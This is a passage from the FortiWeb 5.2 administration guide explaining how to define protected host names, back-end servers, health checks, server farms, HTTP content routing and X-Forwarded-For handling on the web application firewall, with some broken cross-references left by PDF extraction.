To apply policies correctly and log accurately, it is important that FortiWeb is aware of certain other points on your network.
In order to scan traffic for your web servers, first FortiWeb must know which IP addresses and
HTTP Host: names to protect. If there are proxies and load balancers in the network stream between your client and your FortiWeb, you will also want to define them. Likewise, if your web servers have features that operate using the source IP address of a client, you may also need to configure FortiWeb to pass that information to your web servers.
Without these definitions, FortiWeb will not know many things, such as requests are for invalid host names, which source IP addresses are external load balancers instead of clients, and which headers it should use to transmit the client’s original source IP address to your web servers. This can cause problems with logging, reports, other FortiWeb features, and server-side features that require the client’s IP address.
Protected web servers vs. allowed/protected host names
If you have virtual hosts on your web server, multiple web sites with different domain names
(e.g. example.com, example.co.uk, example.ru, example.edu) may coexist on the same physical computer with a single web server daemon. The computer could have a single IP address, with multiple DNS names resolving to its IP address, or the computer could have multiple IP addresses and multiple NICs, with different sets of domain names resolving to separate NICs.
Just as there could be multiple host names per web server, there could also be the inverse: multiple web servers per host name. (This could be the case for distributed computing clusters and server farms.)
When configuring FortiWeb, a web server is a single IP at the network layer, but a protected host group should contain all network IPs, virtual IPs, and domain names that clients use to access the web server at the HTTP layer.
For example, clients often access a web server via a public network such as the Internet.
Therefore, the protected host group contains public domain names, IP addresses and virtual
IPs on a network edge router or firewall, such as:
• www.example.com and
• www.example.co.uk and
• example.de
But the physical or domain server is only the IP address or domain name that the FortiWeb appliance uses to forward traffic to the server and, therefore, is often a private network address
(unless the FortiWeb appliance is operating in offline protection or either of the transparent modes):
• 192.168.1.10 or
• example.local
Fortinet 259 FortiWeb 5.2 Patch 2 Administration Guide
Defining your protected/allowed HTTP “Host:” header names
A protected host group (also called “allowed hosts” or “protected host names”, depending on how the host name is used in each context) defines one or more IP addresses or fully qualified domain names (FQDNs). Each entry in the group defines a virtual or real web host, according to the Host: field in the HTTP header of requests. You can use these entries to determine which host names:
• FortiWeb allows in requests, and/or
• will cause FortiWeb to apply scans or other features
For example, if your FortiWeb receives requests with HTTP headers, such as:
GET /index.php HTTP/1.1
Host: www.example.com
you might define a protected host group with an entry of www.example.com and select it in
in the policy. This would block requests that are not for that host.
A protected host names group is usually not the same as a back-end web server. See
“Protected web servers vs. allowed/protected host names”
.
Fortinet
Used differently, you might select the www.example.com entry in
when defining requests where the parameters should be validated. This would apply protection only for that host.
Unlike a web server, which is a single IP at the network layer, a protected host group should contain all network IPs, virtual IPs (VIP), and domain names that clients use to access the web server at the HTTP layer.
For example, clients often access a web server via a public network such as the Internet.
Therefore, the protected host group contains public domain names, IP addresses and virtual
IPs on a network edge router or firewall, such as:
• www.example.com and
• www.example.co.uk and
• example.de
But in reverse proxy mode, the physical or domain server is the IP address or domain name that the FortiWeb appliance uses to forward traffic to the back-end web server behind the NAT and, therefore, is often a private network address:
• 192.168.1.10 or
• example.local
As another example, for entry level or virtualized web hosting, many Apache virtual hosts:
• business.example.cn
• university.example.cn
• province.example.cn
may exist on one or more back-end web servers which each have one or more network adapters, each with one or more private network IP addresses that are hidden behind a reverse proxy FortiWeb:
• 172.16.1.5
• 172.16.1.6
• 172.16.1.7
260 FortiWeb 5.2 Patch 2 Administration Guide
The virtual hosts would be added to the list of FortiWeb’s protected host names, while the network adapters’ IP addresses would be added to the list of physical servers.
To configure a protected host group
1. Go to Server Objects > Protected Hostnames > Protected Hostnames.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
A dialog appears.
3. In Name, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. From Default Action, select whether to accept or deny HTTP requests that do not match any of the host definitions in this protected host group. (In step 8 , you can override this default for specific hosts.)
For example, let’s say that you have 10 web hosts protected by FortiWeb. You want to allow
8 and block 2. To do this, first set Default Action to Accept. Then in step 8 , you will create 2 entries for the host names that you want to block, and in their Action, select Deny.
5. Click OK.
6. If you want to treat one or more hosts differently than indicated in Default Action, click
Create New.
A dialog appears.
Fortinet 261 FortiWeb 5.2 Patch 2 Administration Guide
7. In Host, enter the IP address or FQDN of a real or virtual host, according to the Host: field in
HTTP requests.
If clients connect to your web servers through the IP address of a virtual server on the
FortiWeb appliance, this should be the IP address of that virtual server or any domain name to which it resolves, not the IP address of the protected web server.
For example, if a virtual server 10.0.2.1/24 forwards traffic to the physical server 192.0.2.1, for protected host names, you would enter:
•
10.0.2.1
, the address of the virtual server
• www.example.com
, the domain name that resolves to the virtual server
Your entry must match the whole host name exactly. Wild cards such as *.example.com are not supported. If you require wild card host name matches, use HTTP Host: header
access control rules instead (see “Combination access control & rate limiting” on page 343
).
8. In Action, select whether to Accept or Deny HTTP requests whose Host: field matches this
Host entry.
9. Click OK.
10.Repeat the previous steps for each host that you want to add to the protected host group.
11.To apply a protected host group, select it in a server policy (see
“Configuring a server policy” on page 509
). Policies use protected host definitions to block connections that are not destined for a protected host. If you do not select a protected host group in a server policy, and you do not configure a combination access control rule with an HTTP Host: condition either, connections will be accepted or blocked regardless of the Host: field.
See also
•
•
Defining your web servers
You can specify your back-end web servers by their IP addresses and/or DNS domain names.
These web servers will be protected by FortiWeb, and are the recipients of traffic that is forwarded or allowed to pass through by FortiWeb.
You can also define web servers to be FortiWeb’s virtual servers. This chains multiple policies together, which may be useful in more complex traffic routing or rewriting situations.
See also
•
Enabling or disabling traffic forwarding to your servers
•
•
•
Defining your network services
•
Fortinet 262 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Defining your web server by its IP address
“Domain servers” use DNS A record domain names to define a web server, while
“physical servers” use IP addresses.
A physical server defines the IP address of an individual web server or a member of a server farm that is the ultimate destination of traffic received by the FortiWeb appliance at a virtual server address, and where the FortiWeb appliance will forward traffic (or let it pass through, depending on the operation mode) after applying the protection profile and other policy settings. Alternatively, you can use domain names to define the protected web servers. For details, see
“Defining your web server by its DNS domain name” on page 264 .
To configure a physical server
1. Go to Server Objects > Server > Physical Server.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
A dialog appears.
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In IP Address, type the IP address of the physical server.
If a policy has any physical servers with IPv6 addresses, it will not apply features that do not yet support IPv6, even if they are selected.
5. Click OK.
6. To use the physical server, either select it within a server policy, or grouping it into a server
farm that is selected in a server policy. For details, see “Configuring a server policy” on page 509
or “Grouping your web servers into server farms” on page 268
.
Server health checks cannot be used with an individual web server. If you want to monitor a server for responsiveness, you must group one or more web servers into a server farm.
263 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
See also
•
•
Enabling or disabling traffic forwarding to your servers
•
Grouping your web servers into server farms
•
Defining your web server by its DNS domain name
“Domain servers” use DNS A record domain names to define a web server, while
“physical servers” use IP addresses.
Domain servers define an individual server or a member of a server farm that is the ultimate destination of traffic received by the FortiWeb appliance at a virtual server address, and where the FortiWeb appliance will forward traffic (or let it pass through, depending on the operation mode) after applying the protection profile and other policy settings. Alternatively, you can use
IP addresses to define the protected web servers. For details, see
“Defining your web server by its IP address” on page 263
.
A domain server is usually not the same as a protected host names group. See
“Protected web servers vs. allowed/protected host names” on page 259 .
Server definitions by domain name cannot be used in most server farm definitions. Support varies by the server farm’s request forwarding setting,
. See
“Grouping your web servers into server farms” on page 268
.
Unlike with a physical server, for domain servers, FortiWeb must query a DNS server in order to query and resolve each web server’s domain name into an IP address. For improved performance, either:
• use physical servers instead, or
• ensure highly reliable, low-latency service to a DNS server on your local network
To configure a domain server
1. Go to Server Objects > Server > Domain Server.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
264 FortiWeb 5.2 Patch 2 Administration Guide
2. Click Create New.
A dialog appears.
Fortinet
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In Domain, type the domain name of the domain server, such as example.com.
If a policy has any domain servers whose DNS names resolve to IPv6 addresses, it will not apply features that do not yet support IPv6, even if they are selected.
5. Click OK.
6. To use the domain server, either select it within a server policy, or group it into a server farm
that is selected in a server policy. For details, see “Configuring a server policy” on page 509
or “Grouping your web servers into server farms” on page 268
.
Server health checks cannot be used with an individual web server. If you want to monitor a server for responsiveness, you must group one or more web servers into a server farm.
See also
•
•
Enabling or disabling traffic forwarding to your servers
•
Grouping your web servers into server farms
•
Configuring server up/down checks
Tests for server availability (called “server health checks” in the web UI) poll web servers that are members of a server farm to determine their responsiveness before forwarding traffic. Server health checks can use TCP, HTTP/HTTPS, or ICMP ECHO_REQUEST (ping).
The FortiWeb appliance will poll the server at the frequency set in the
appliance does not receive a reply within the timeout period, and you have configured the health check to retry, it attempts a health check again; otherwise, the server is deemed unresponsive.
265 FortiWeb 5.2 Patch 2 Administration Guide
The FortiWeb appliance reacts to unresponsive servers by disabling traffic to that server until it becomes responsive.
If a web server will be unavailable for a long period, such as when a server is undergoing hardware repair, it is experiencing extended down time, or when you have removed a server from the server farm, you may improve the performance of your FortiWeb appliance by disabling connectivity to the web server, rather than allowing the server health check to
To view the status currently detected by server health checks, use the Service Status widget on the dashboard. For details, see
“Server Status widget” on page 568
.
To configure a server health check
1. Before configuring a server health check, if it will use a trigger, you must first configure the trigger. For details, see
“Configuring triggers” on page 587 .
2. Go to Server Objects > Server Health Check > Server Health Check.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
The Details column displays the URL used in the GET request if the server health check Type is HTTP/HTTPS.
3. Click Create New.
A dialog appears.
Fortinet 266 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name
Name
Protocol Type
URL Path
Timeout
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Note:
The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.
Select the protocol that the server health check will use to contact the server.
• Ping — Send ICMP type 8 (ECHO_REQUEST or “ping”) and listen for either ICMP type 0 (ECHO_RESPONSE or “pong”) indicating responsiveness, or timeout indicating that the host is not responsive.
• TCP — Send TCP SYN and listen for either TCP SYN ACK indicating responsiveness, or timeout indicating that the host is not responsive.
• HTTP/HTTPS — Send an HTTP/HTTPS request, and listen for an
HTTP/HTTPS response code 200 OK and page content matching
indicating responsiveness, or timeout indicating that the host is not responsive.
The protocol used depends on whether you enable
SSL
for that server in the server farm. Contact occurs on the protocol and port number specified for that web server in the server farm.
Type the URL, such as /index.html, that will be used in the
HTTP/HTTPS GET request to verify the responsiveness of the server.
If the web server successfully returns this URL, and its content
responsive.
is HTTP/HTTPS. The maximum length is 127 characters.
Type the maximum number of seconds that can pass after the server health check. If the web server exceeds this limit, it will indicate a failed health check.
267 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Retry Times
Description
Type the number of times, if any, a server health check will be retried after failure. If the web server fails the server health check this number of times consecutively, it is considered to be unresponsive.
Interval
Trigger Action
Type the number of seconds between each server health check.
Select the name of a trigger, if any, that will be used to log or notify an administrator if a server becomes unresponsive.
Matched Content
Type either:
• the exact reply content that must be present to indicate that the server is available
• a regular expression matching that content
This prevents the test from falsely indicating that the server is available when it has actually replied with an error page, such as the one produced by Tomcat when a JSP application is not available.
This option appears only if Protocol Type is HTTP/HTTPS.
To create and test a regular expression, click the >> (test) icon. This opens a Regular Expression Validator window where you can
fine-tune the expression (see “Regular expression syntax” on page 704 )
5. Click OK.
6. To use the server health check to monitor availability of the members in a server farm, select it as the
in a policy (see “Configuring a server policy” on page 509
).
See also
•
•
•
Grouping your web servers into server farms
Grouping your web servers into server farms
Server farms define a group of physical and domain servers (web servers) among which the
FortiWeb appliance will distribute connections, or where the connections will pass through to, depending on the FortiWeb appliance’s operating mode. (Reverse proxy mode actively distributes connections; offline protection and both transparent modes do not.)
•
Reverse proxy mode
— When the FortiWeb appliance receives traffic destined for a virtual server, it can forward the traffic to a physical or domain server or a server farm. If you have configured the policy to forward traffic to a server farm, the connection is routed to one of the physical or domain servers in the server farm. Which of the physical or domain servers receives the connection depends on your configuration of load-balancing algorithm, weight, server health checking, or content routing by either HTTP header-based routing.
To prevent traffic from being forwarded to unavailable web servers, the availability of physical and domain servers in a server farm can be verified using a server health check.
Whether the FortiWeb appliance will redistribute or drop the connection when a physical or
268 FortiWeb 5.2 Patch 2 Administration Guide
domain server in a server farm is unavailable varies by the availability of other members and by your configuration of the
option in the policy.
•
Offline protection, true transparent proxy, and transparent inspection mode
— When the FortiWeb appliance receives traffic destined for a virtual server or passing through a bridge, it allows the traffic to pass through to members of the server farm.
To configure a server farm
1. Before configuring a server farm, you must first define the web servers that will be members
of the server farm. For details, see “Defining your web server by its IP address” on page 263
and/or “Defining your web server by its DNS domain name” on page 264 . If you will route
requests to specific web servers based upon their HTTP headers, also configure expressions to define matching requests. See
“Routing based upon URL, cookie, or “Host:” name” on page 275
. Also, if the client will be connecting via HTTPS and FortiWeb is operating in a mode that performs SSL inspection instead of SSL offloading, you must upload the web
site’s server certificate. See “Uploading a server certificate” on page 306
.
2. Go to Server Objects > Server > Server Farm.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name Description
Server Farm Name Type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
269 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Comments
Type
Description
Type a description of the server farm. The maximum length is 64 characters.
Select the method of distribution that the FortiWeb appliance will use when forwarding connections to the web servers in this server farm.
•
Server Balance
— Uses a load-balancing algorithm when distributing TCP connections amongst the web servers in a server farm. If a web server is unresponsive to the server health check, the FortiWeb appliance forwards subsequent connections to another web server in the server farm. This option is available only if the FortiWeb appliance is operating in reverse proxy mode.
•
HTTP Content Routing
— Routes HTTP requests to a specific web server in a server farm by specifying the Host: or URL line in the HTTP header. This option applies when Policy Type in a server policy is Web Protection.
To make this selection effective, you must also configure an HTTP
routing policy. See “Routing based upon URL, cookie, or “Host:” name” on page 275
.
Note:
HTTP-based routing does not rewrite the Host: header or
URL line. If you require this, such as for when you need to maintain continuity with the same web server for the client’s entire session,
see “Rewriting & redirecting” on page 379 .
•
Transparent Servers (for true transparent proxy or transparent inspection)
— Allows connections to pass through the FortiWeb appliance, and apply a protection profile. This option is available only if the operation mode is either true transparent proxy or transparent inspection.
•
Offline Protection
— Receive duplicates of connections to the server farm and apply an offline protection profile. This option is available only if operation mode is offline protection.
5. Click OK.
6. Click Create New.
A dialog appears.
Fortinet 270 FortiWeb 5.2 Patch 2 Administration Guide
7. Configure these settings:
Setting name
ID
Server Type
Physical Server
or
Domain Server
Description
Type the index number of the web server entry within the server farm, or keep the field’s default value of auto to let the FortiWeb appliance automatically assign the next available index number.
The first web server will receive connections if you have configured
HTTP content routing and the other server is unavailable. For round robin-style load-balancing, the index number indicates the order in which connections will be distributed. When using HTTP header-based routing, the number is the priority of the web server when redistributing HTTP requests. Servers with lower numbers are higher priority.
The valid range is from 0 to 65,535.
Select either Physical Server or Domain Server to indicate how you have defined the web server that you want to be a member of the
server farm. For details, see “Defining your web server by its IP address” on page 263
and
“Defining your web server by its DNS domain name” on page 264 .
Select the name of a definition (either by FQDN or by IP address) of a web server that will be a member of the server farm.
The name of this option varies by your selection in
.
Domain Server is visible only if
is Server Balance or HTTP
Content Routing.
Fortinet 271 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
SSL
Description
Enable if:
• connections to the server use SSL, and
• the FortiWeb appliance is operating in a mode other than reverse proxy
Also configure
Certificate File
.
Unlike
in policies, when you enable this option, the
FortiWeb appliance will not apply SSL. Instead, it will use the certificate to decrypt and scan connections before passing the encrypted traffic through to the web servers or clients (SSL
inspection). See
“Offloading vs. inspection” on page 294
.
.
Caution:
Failure to enable an SSL option and provide a certificate will result in the FortiWeb appliance being unable to decrypt HTTPS connections, and therefore unable to scan HTML, AMF3, or XML content. You must either enable either this option with
Certificate File
in the server farm (SSL inspection), or enable
(SSL offloading).
Note:
When this option is enabled, the web server must be configured to apply SSL. The FortiWeb appliance will use the certificate to decrypt and scan traffic only. It will not offload SSL connections.
Note:
Ephemeral (temporary key) Diffie-Hellman exchanges are not supported if the FortiWeb appliance is operating in transparent inspection or offline protection mode.
Add HSTS Header
Enable to combat MITM attacks on HTTP by injecting the RFC 6797 strict transport security header into the reply, such as:
Strict-Transport-Security: max-age=31536000; includeSubDomains
This forces the client to use HTTPS for subsequent visits to this domain. If the certificate does not validate, it also causes a fatal connection error: the client’s web browser will not display any dialog that allows the user to override the certificate mismatch error and continue.
This setting appears only if
SSL
is selected, and applies only if the operation mode is true transparent proxy. (For reverse proxy, see
in the server policy instead.).
Max. Age
Port
Type the time to live in seconds for the HSTS header.
This setting applies only if
Add HSTS Header
is enabled.
Type the TCP port number where the web server listens for connections. The valid range is from 0 to 65,535.
272 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Certificate File
Description
Select the web server’s certificate that the FortiWeb appliance will use when decrypting SSL-secured connections, or select Create New to upload a new certificate in a pop-up window, without leaving the current page. For more information, see
“Uploading a server certificate” on page 306
.
This option appears only if
SSL
is enabled, and if FortiWeb is operating in a mode other than reverse proxy, that performs SSL inspection. See
“Offloading vs. inspection” on page 294
.
Certificate
Verification
Client Certificate
Forwarding
Select the name of a certificate verifier, if any, to use when an HTTP client presents their personal certificate. (If you do not select one, the client is not required to present a personal certificate. See also
“How to apply PKI client authentication (personal certificates)” on page 310 .)
Personal certificates, sometimes also called user certificates, establish the identity of the person connecting to the web site.
You can require that clients present a certificate alternatively or in addition to HTTP authentication (see
“Offloading HTTP authentication
& authorization” on page 234 ).
This option is available only if
SSL
is enabled, and only applies if the
FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead.
See
in “Configuring a server policy” on page 509 .)
Note:
The client must support SSL 3.0 or TLS 1.0.
Enable to include the X.509 personal certificate presented by the client during the SSL/TLS handshake, if any, in an X-Client-Cert:
HTTP header when forwarding the traffic to the protected web server.
FortiWeb will still validate the client certificate itself, but this can be useful if the web server requires the client certificate for the purpose of server-side identity-based functionality.
This option is available only if
SSL
is enabled, and only applies if the
FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead.
See
“Configuring a server policy” on page 509 .)
273 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Certificate
Intermediate
Group
Weight
HTTP Content
Routing
Description
Select the name of a group of intermediate certificate authority (CA) certificates, if any, that will be presented to clients in order to complete the signing chain for them to validate the server certificate’s
CA signature.
If clients receive certificate warnings that the server certificate configured in
Certificate File
has been signed by an intermediary CA, rather than directly by a root CA or other CA currently trusted by the client, configure this option.
Alternatively, include the entire signing chain in the server certificate itself before uploading it to the FortiWeb appliance, thereby completing the chain of trust with a CA already known to the client.
See “Uploading a server certificate” on page 306
and “Supplementing a server certificate with its signing chain” on page 308 .
This option is available only if
SSL
is enabled, and only applies if the
FortiWeb appliance is operating in transparent proxy mode. (For reverse proxy mode, configure this setting in the server policy instead.
See
Certificate Intermediate Group
“Configuring a server policy” on page 509 .)
If the server farm will be used with the weighted round-robin load-balancing algorithm in the policy, type the numerical weight of the web server to be used when proportionately distributing TCP connections.
Web servers with a greater weight will received a greater proportion of connections.
This can be useful if, for example, some servers in the server farm are more powerful, or if a server could be already receiving fewer or more connections due to its role in multiple web sites.
This field appears only if
is Server Balance.
Select the name of an existing HTTP header-based routing policy, if any, that will be used to route requests to this web server in the server farm. See
“Routing based upon URL, cookie, or “Host:” name” on page 275 .
This field appears only if
is HTTP Content Routing.
8. Repeat the previous steps for each web server that you want to add to the server farm.
9. Click OK.
10.To apply the server farm, select it within a server policy.
If the server farm will be used with a server policy whose
content routing modes, place the web server that you want to be the failover first in the list of web servers in the server farm. In content routing, each server in the server farm might not host identical web services. If a web server is unresponsive to the server health check, the
FortiWeb appliance will forward subsequent connections to the first web server in the server farm, which will be considered to be the failover. Make sure the first web server can act as
a backup for all other servers in the server farm.
To monitor members of the server farm for responsiveness, configure a server health check
for use with the server farm. For details, see “Configuring server up/down checks” on page 265
.
274 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
•
•
Defining your web server by its IP address
•
Defining your web server by its DNS domain name
•
Routing based upon URL, cookie, or “Host:” name
•
•
Configuring server up/down checks
•
Routing based upon URL, cookie, or “Host:” name
Instead of dynamically routing requests to back-end servers based upon load/connection distribution at the TCP/IP layers, as basic load balancing does, you can forward them based upon headers in the HTTP layer.
HTTP header-based routes (called “HTTP content routing policies” in the web UI) define how requests will be routed to specific back-end web servers in your server farm. They are based upon the:
• URL, and/or
• cookie, and/or
•
Host:
field in the HTTP header.
This can be useful if, for example, specific web applications, functions, or host names are divided, and each served only by a specific web server on the back end — that is, each web server in the server farm is not identical, but is specialized, such as:
• 192.168.0.1 — Hosts the web site and blog
• 192.168.0.2 — Hosts movie clips and multimedia
• 192.168.0.3 — Hosts the shopping cart
It can also be useful if you want your back-end servers or a traffic controller (TC) server to externally manage how FortiWeb routes and/or balances load. The TC can simply embed a cookie indicating how the client’s next request should be routed. In the example diagram below, if a request has no cookie (e.g. it initializes a session), FortiWeb’s HTTP content routing is
Fortinet 275 FortiWeb 5.2 Patch 2 Administration Guide
configured to forward that request to the TC, Web Server 1. For the next requests, as long as the cookie exists, FortiWeb routes those requests to Web Server 2.,
To configure HTTP header-based routing
1. Go to Server Objects > Server > HTTP Content Routing Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
3. In Name, type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Click OK, then click Create New.
Fortinet 276 FortiWeb 5.2 Patch 2 Administration Guide
5. Configure these settings:
Fortinet
If you have configured request rewriting, configure HTTP content-based routing based upon the original request, as it appears before FortiWeb has rewritten it.
For more information on rewriting, see
“Rewriting & redirecting” on page 379 .
Setting name
Description
Host Status Enable if you want the rule to apply only to HTTP requests for a specific web host. Also configure
Host
.
Host
Select the name of a protected host that the Host: field of an HTTP request must be in to match the rule.
This option is available only if
Host Status
is enabled.
Type
Indicate whether the
URL Pattern
field will contain a literal URL (Simple
String), or a regular expression designed to match multiple URLs (Regular
Expression).
277 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Description
URL Pattern Depending on your selection in the
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the rule. The URL must begin with a backslash ( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs to which the rule should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as
/index.cfm
.
Do not include the domain name, such as www.example.com, which is configured separately in the
Host
drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
)
Cookie
Name
Cookie Type Indicate whether the
field will contain a literal value (Simple
String), or a regular expression designed to match multiple values (Regular
Expression).
Cookie
Value
Type the name of the cookie, such as sessid, that will be used for load balancing, as it appears in the HTTP header. For example, this could be the web application’s session cookie (for session persistence), or a cookie embedded by traffic controller software on one of the servers.
Depending on your selection in the
field, enter either:
• the literal value, such as TRUE, that the cookie must contain in order to match the rule.
• a regular expression, such as hash[a-fA-F0-7]*, matching all and only the cookie values to which the rule should apply.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
)
If specified cookie is not in request
Select either:
• Do not meet this condition
• Meet this condition
Requests can lack a Cookie: field for several reasons, such as if the user is initiating a session, has cleared their browser’s cookie cache, or if the web application itself has reset the session, such as after a logout or password change. In those cases, the field cannot be tested for a matching value.
6. Click OK.
278 FortiWeb 5.2 Patch 2 Administration Guide
7. Repeat the previous 2 steps for each URL, cookie, and/or Host: name that will be routed to
this same back-end web server.
Fortinet
Without a default rule, if your policy is configured to apply HTTP content routing, requests that do not match any rule will be effectively null-routed, and connectivity will fail.
Usually, you should have one HTTP content routing rule for each server, plus one default rule that matches request that do not match any other rule. Each HTTP content routing rule
cannot be used by more than one server in the server farm at a time.
8. Click OK.
9. Repeat this procedure for each server in your web server farm.
10.To apply an HTTP content routing policy, select it in
server to a server farm definition where the
is HTTP Content Routing. For details, see
“Grouping your web servers into server farms” .
See also
•
•
Defining your web server by its IP address
•
Grouping your web servers into server farms
•
Enabling or disabling traffic forwarding to your servers
•
•
Configuring server up/down checks
Example: Routing according to URL/path
Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).
From the perspective of clients connecting to the front end, there is one domain name: www.example.com. At this host name, there are three top-level URLs:
• /games — Game application
• /school — School application
• /work — Work application
In a client’s web browser, therefore, they might go to the location: http://www.example.com/games
279 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Behind the FortiWeb, however, each of those 3 web applications actually resides on separate back-end web servers with different IP addresses:
• 10.0.0.11/games — Game application
• 10.0.0.12/school — School application
• 10.0.0.13/work — Work application
In this case, you would configure HTTP content routing so FortiWeb routes HTTP requests to http://www.example.com/school to the appropriate back-end web server, 10.0.0.12. Similarly, requests for the URL /games would go to 10.0.0.11, and requests for the URL /work would go to 10.0.0.13.
See also
•
Routing based upon URL, cookie, or “Host:” name
•
Defining your web server by its IP address
•
Grouping your web servers into server farms
•
Configuring server up/down checks
Example: Routing according to the HTTP “Host:” field
Your FortiWeb appliance might have one virtual server (the front end) protecting three physical web servers (the back end).
From the perspective of clients connecting to the front end, Example Company’s web site has a few domain names:
• http://www.example.com
• http://www.example.cn
• http://www.example.de
• http://www.example.co.jp
Public DNS resolve all of these domain names to one IP address: the virtual server on FortiWeb.
At the data center, behind the FortiWeb, some region-specific web sites are each hosted on separate physical web servers. Others have lighter traffic and are maintained by the same person, and therefore are hosted on a shared server. Each back-end web server has a DNS alias. When configuring FortiWeb, each web server was defined using its DNS alias, rather than its IP address:
• www1.example.com — Hosts www.example.com, plus all other host names’ content, in case the other web servers fail or have scheduled down time
• www2.example.com — Hosts www.example.de
• www3.example.com — Hosts www.example.cn & www.example.co.jp
While public DNS servers all resolve these aliases to the same IP address — FortiWeb’s virtual server — your private DNS server resolves these DNS names to separate IPs on your private network: the back-end web servers.
• www1.example.com — Resolves to 192.168.0.1
• www2.example.com — Resolves to 192.168.0.2
• www3.example.com — Resolves to 192.168.0.3
In this case, you would configure HTTP content routing so FortiWeb routes requests from clients based upon the original Host: field in the HTTP header to the appropriate DNS alias. The destination back-end web server would be determined at request time using server health
280 FortiWeb 5.2 Patch 2 Administration Guide
check statuses, as well private network DNS to resolve the DNS alias into its current private network IP address:
• http://www.example.com/ — Routes to www1.example.com
• http://www.example.de/ — Routes to www2.example.com, unless that web server is down, in which case those requests will be routed to www1.example.com
• http://www.example.cn/ & http://www.example.co.jp/ — Routes to www3.example.com, unless that web server is down, in which case those requests would be routed to www1.example.com
If necessary to maintain HTTP session continuity for web applications, you would also configure
Host:
name and hyperlink rewriting so that subsequent requests from the client would be forwarded to the same back-end web server.
See also
•
Routing based upon URL, cookie, or “Host:” name
•
•
Defining your web server by its DNS domain name
•
Grouping your web servers into server farms
•
Configuring server up/down checks
Defining your proxies, clients, & X-headers
In some topologies, you must configure FortiWeb’s use of X-headers such as
X-Forwarded-For:
, X-Real-IP:, or True-Client-IP:, including when:
• FortiWeb has been deployed behind a proxy/load balancer which applies NAT.
Connection-wise, this causes all requests appear to come from the IP address of the proxy or load balancer, not the original client. FortiWeb requires the true client’s source IP so
that when blocking attacks, it does not block the proxy/load balancer’s IP, affecting
innocent requests. FortiWeb also requires some way to derive the original client’s IP so that attack logs and reports to show the IP of the actual attacker, rather than misleadingly blaming the load balancer.
• The web server needs the client’s source IP address for purposes such as analytics, but
FortiWeb is operating in reverse proxy mode, which applies NAT, and therefore all requests appear to come from FortiWeb’s IP address.
Due to source NAT (SNAT), a packet’s source address in its IP layer may have been changed, and therefore the original address of the client may not be directly visible to FortiWeb and/or its protected web servers. During a packet’s transit from the client to the web server, it could be changed several times: web proxies, load balancers, routers, and firewalls can all apply NAT.
Depending on whether the NAT devices are HTTP-aware, the NAT device can record the packet’s original source IP address in the HTTP headers. HTTP X-headers such as
X-Real-IP:
can be used by FortiWeb instead to trace the original source IP (and each source
IP address along the path) in request packets. They may also be used by back-end web servers for client analysis.
Fortinet 281 FortiWeb 5.2 Patch 2 Administration Guide
Figure 40:Affects of source NAT at the IP and HTTP layers of request packets when in-between devices are HTTP-aware
Indicating the original client’s IP to back-end web servers
Some web applications need to know the IP address of the client where the request originated in order to log or analyze it.
For example, if your web applications need to display different available products for clients in
Canada instead of the United States, your web applications may need to analyze the original client’s IP for a corresponding geographic location.
In that case, you would enable FortiWeb to add or append to an X-Forwarded-For: or
X-Real-IP: header. Otherwise, from the web server’s perspective, all IP sessions appear to be coming from FortiWeb — not from the original requester. The back-end web server would not be able to guess what the original client’s public IP was, and therefore would not be able to analyze it. When these options are enabled, the web server can instead use this HTTP-layer header to find the public source IP and path of the IP-layer session from the original client.
To configure FortiWeb to add the packet’s source IP to X-Forwarded-For: and/or
X-Real-IP:
1. Go to Server Objects > X-Forwarded-For > X-Forwarded-For.
Fortinet 282 FortiWeb 5.2 Patch 2 Administration Guide
2. Configure these settings:
Setting
Name
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Note:
The name cannot be changed after this part of the configuration is saved. To rename a part of the configuration, clone it, select it in all parts of the configuration that reference the old name, then delete the item with the old name.
Fortinet 283 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting
Add
X-Forwarded-For:
